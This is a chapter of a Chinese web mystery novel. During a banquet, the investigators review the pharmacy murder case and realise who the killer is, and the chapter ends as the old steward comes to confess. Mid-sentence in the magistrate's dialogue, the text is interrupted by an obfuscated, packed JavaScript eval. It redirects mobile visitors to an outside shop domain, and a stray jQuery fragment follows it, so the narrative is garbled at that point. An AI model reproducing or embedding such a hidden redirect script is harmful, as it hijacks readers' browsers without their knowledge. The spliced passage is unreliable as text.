11.宴请
    两日后,赵大人总算抽出精力,在家中摆了豪华的筵席,说是要感激凌轩仗义相助。

    凌轩推辞不过,便也叫上我同去,一桌陪同的,还有猩猩衙差。许是甚少与领导同桌吃饭,猩猩衙差显得有些拘束,鼻孔都不像往常一般扇动了。

    我看他坐着也尴尬,索性趁着凌轩与赵大人寒暄客套之际,凑过去问他:“血迹查了吗?有无延申到某个雅间门口?”

    猩猩衙差摇头,遗憾地说:“就跟小姐之前说的一样,哪哪都验看了,根本没有发现。”

    “那,二层其他人一一盘查了?就没有任何一人与两个男死者都有恩怨?或者,单独与少东家有仇,也行啊。”

    “没啊,真没有,查的很细了,都是按照公子和小姐吩咐的方法去做的。”苦瓜脸顿了顿,复又淡了些愁色,猩猩衙差说,“但卑职还是查出来一桩隐情。原来卫峰之所以突然松口,同意就药田与西元堂展开合作,竟是老管家建议的!”

    我一听就惊了,那厢凌轩也看了过来。

    猩猩衙差有些紧张,舔了舔嘴唇:“没错的,卑职问了卫少爷的祖母。说是三个月前,东兴号老管家忽然登门,当时人都坐不起来了!但还是给卫少爷提建议,说因为东兴号入不敷出,维持现有经营已经困难,自然无力再购置药田。为了药田能发挥作用,真正为医馆从医所用,真正让百姓得到实惠,建议卫少爷出手,叹息中,还劝他在商言商,莫要困于往日情谊,因着东兴号就断不与西元堂合作。”

    这倒有点意思啊!商业合作都是冲利益去的,纯粹为了民生,到底还是少数。这老管家竟有如此心胸?

    “卑职认为,老管家这么做,应该是听说了卫少爷被罚跪宗祠的事。”

    “罚跪宗祠?为什么?”

    卫氏既在该地为兴旺大族,就不可能事事都只听卫峰一言堂。他虽是当家人,族中长老也有话语权的。卫峰因己情谊,让药田空置两年,那玩意打理又耗人耗力,的确损失的是家族利益。

    “卫老夫人也说了,这事难堪,卫家从未对外说过。但老管家毕竟和卫家关系深厚,不知怎么就听说了。他一向喜爱卫少爷,得知他都被罚跪宗祠,还不心急火燎啊?没几日就来劝说。卫少爷一开始还不肯答应呢!但毕竟老管家都这么说了,他又是个商人……其实坚持这么久,已经很不容易了。”

    是哦,卫峰够有情有义了。其实二人商谈这么久,坊间却丝毫不知,八成也是卫峰要求的,生怕消息传出,令百姓对东兴号更没信心,更挤压它的生存空间。

    如此情深厚重,东兴号对他,绝不可能有杀机。

    “老管家和卫少爷是大大的善人,但卑职瞧西元堂那少东家,呵……”猩猩衙差嘟囔着,和赵大人交换了眼神,“西元堂可不是简简单单为了咱们百姓。”

    凌轩挑了挑眉,放下了酒杯:“这话怎么讲?”

    猩猩衙差压低了声音:“昨天卑职又去了一趟西元堂,在少东家书桌下看到了一本笔记,记载了他接手医馆以来的日常。里面有不少经营方针,他还曾计划要把东兴号的老管家挖角,写什么三年崛起,五年吞并东兴号,七年终结三县八镇的竞争,直至一家独大呢!”

    我耳朵一跳,为这磅礴的企业家思维感到震撼,之余,凉薄却在丝丝上泛。

    西元堂败落之时,东兴号从未落井下石,更因雪中送炭才使得他一家老小不至于流落街头。可等风水一转,西元堂却咄咄逼人。这也未免太忘恩负义了吧?

    凌轩面上也有些不虞,正要说话。赵大人却扫了扫宽大的袖子,把酒壶搁下,重重叹了口气:“哎,在商言商。少东家为了拓展自家营生,这么做倒也无可厚非。东兴号败落,也不完全是西元堂的打压,毕竟老管家经营保守,不如年轻人想法多,搞了这么多花头,引来大量生意,这也是没办法的事。”

    在县城上担当父母官多年,赵大人见证许多。一起一落之间,人心难测。

    “再说了,老管家不也没有答应吗?老管家对东兴号多忠诚啊,若不是他一力操持,就东兴号孤儿寡母的,早就关门了。”赵大人又补了一句,端起了汤碗。

    猩猩衙差却不太赞同:“老爷您是仁厚,才会这么觉得。依卑职看,少东家就是一心想要独霸咱们县里,啊不,包括咱这附近几个县城的医馆业,才会出手这么不留情面。”

    赵大人抬眼睨向猩猩衙差,却也没有反驳。

    凌轩默默喝了口茶,复又问:“可卫峰最后还是反悔了,有查到为什么爽约吗?”

    猩猩衙差摇头:“这却实在不知,卫老夫人听了之后都很诧异呢。”

    我有一搭没一搭的咬着排骨,不禁感到沮丧。这案子真是复杂,一环一环叫人摸不着头脑。好容易有些思路,却又找不到证据支撑。

    一时间场面安静,个个都沉默不语。凌轩将碗筷搁下,坐的笔笔挺挺,微微垂着眼帘,双手抱臂,左手手指轻轻、有节奏的敲着臂膀。看得出来,他也正被困扰着。

    赵大人长叹口气,端起酒壶,一杯一杯下肚,借酒消愁。猩猩衙差瞧瞧我又瞧瞧凌轩,终是托腮惆怅的望向远处。

    半晌,许是感受到场上的沉默,赵大人重重搁下酒壶,挤出个苦哈哈的笑容。“嗨!不提这些扫兴之事!二位是贵客,来我县城,没能游玩歇息,却忙于查案,实在令下官感恩!来来,下官敬二位。”

    场面话一出,凌轩应对自如,他当即也端起酒杯,小酌两口,便和赵大人你来我往客气起来,不失得体。

    “二位之后得空,定要再来本县,县城里有几处温泉,很是养身,下官到时候带着二位好好休息休息!”

    猩猩衙差却望着酒席发呆,竟说道:“温泉是人家东兴号的,老管家还不知道能活几天,以后温泉会卖给谁?”

    这话一出,猩猩衙差骤然清醒,发现自己泼了领导的冷水,吓得差点掉下椅子。

    “温泉?温泉可值不少钱啊,东兴号怎么不卖了救市?”我没忍住,问了出来。

    赵大人瞪着属下,但又不想当着我们的面发飙,还要顾及回答我的问题,脸都扭曲了。

    “那都是药泉,价格极高,寻常商人也不会捯饬,这附近也就西元堂会要。”

    猩猩衙差瑟缩着脖子,小心翼翼地觑一眼领导眼色,低声补充了一句:“卑职听说那药泉对某些病症颇管用,西元堂一度还给加了点钱,绕开老管家找东兴号的少夫人求买。少夫人本都答应了,老管家却不允,这半年还坚持去泡呢。”

    “啊?”我有些诧异,“他不是都无法行走了吗,还去泡温泉?”

    “哎,小姐不知道。”回答我的是赵大人,用手搓了一把脸,“老管家自从得了绝症,没少找那有的没的法子治疗,有些邪术听着都瘆人。他呀,实在是希望找到生路,还能再掌舵些年。毕竟东兴号,现在全靠他撑着,他这一走,‘垮塌’就得散架。下官都听过

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12961453|136592||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    牛大夫骂他,脉象乱的都诊不出了,不让再瞎搞呢。”

    这话倒和我们在医馆听到的雷同,一时间,众人皆是叹气,气氛再次凝重。

    这次主动打破沉默的是凌轩,他拍了拍赵大人的肩膀,端起酒杯示意,二人推杯换盏,这才冲淡了几许忧思。

    “说起来,赵大人素日也要注意身体啊,我看你眼下的乌青又深了。”

    秋水县这几天可谓民怨沸腾。西元堂虽然打压东兴号,但它也催生了一系列为民服务的医疗措施,民众得知少东家竟然也遇害,当下愤怒不已;又因同日死了三个人,不免人心惶惶,时有冲突发生。赵大人和衙差在重压之下急需破案,又需要抽调人手维护县城治安,也是忙得不可开交。

    何况,即为父母官,自当为一方百姓解忧。赵大人管辖内出现这么严重的案件,不光是受害者家属讨要说法,怕是上头也要问责了。

    赵大人何尝不知?所以愁呀。

    凌轩劝道:“酒伤脾胃,多喝不宜。赵大人身子圆润,平日里也要懂得保养。”

    身子圆润?

    他倒还挺会说话,我看一眼赵大人肥嘟嘟的大肚子,偷偷一乐,收获凌轩飘来的眼刀一枚。

    猩猩衙差见状,赶忙拍波马屁:“哎呦,凌公子说得对啊。老爷您平时太辛苦了,一心为民,终日操劳,也要注意注意,多少要忌酒嘛。”

    赵大人剜一眼下属,又看一眼自己的肚子,捧腹大笑起来。

    阴霾的气氛一扫而空,在场的人都不由乐了。

    咧嘴之时,我还盯着赵大人腮边垂下的肥肉,猩猩衙差的话却不期在耳旁阵阵回响。心念一动,我慢慢收了笑容细细思索,想要抓住一闪而过的思绪。

    忌酒……咦,卢四苹不是说,少东家也在忌酒吗?她对少东家有意见,便认为这话是搪塞。但其实观少东家其人,是非常能下苦功夫的商人,若非实在讨不得利,应该不会用这种烂借口得罪人。何况猩猩衙差也说,淑淑家门在秋水县也是拔尖的。

    或许,少东家近来的确因脾胃不调在忌酒。不过我想,案发当日如签约成功,少东家应该也会小酌庆贺,推杯换盏。

    等等,忌酒?

    脑海中如PPT般闪过很多画面,莫名出现了一只不知来处的玲珑酒壶,谈了三个月却无故爽约,笑着吩咐旺男去办……

    央猩猩衙差传话,让牛大夫回乡看望母亲,邀请了一桌商户托孤……

    “天哪!”

    我叫出声的同一瞬,凌轩忽然站了起来,铁青的脸色,震惊的瞳孔……他也意识到了!

    “这、这是怎么了?”赵大人吓了一跳。

    凌轩朝我看过来,四目相对中,是一样的难以置信。

    我深深吸了口气,说话都忍不住的颤抖:“我们、我们知道凶手是谁了。”

    赵大人瞪圆了双眼,肚子不受控制的向前一撞,将桌上的杯子晃倒。

    “到底是谁?是谁!”

    赵大人扑到凌轩面前之际,从外面跑来一个小厮,大声叫道:“老爷,老爷!不好了!”

    赵大人最近被这“不好了”都吓出心理阴影了,当即身子一晃,差点栽倒。

    我和凌轩却仍对视着,眼底流淌着一样的悲哀。

    “怎么了?又发生什么事了?谁、谁死了?”

    “不是,不是!”小厮跑的上气不接下气,“是东、东兴号老管家来了!他来自首了!”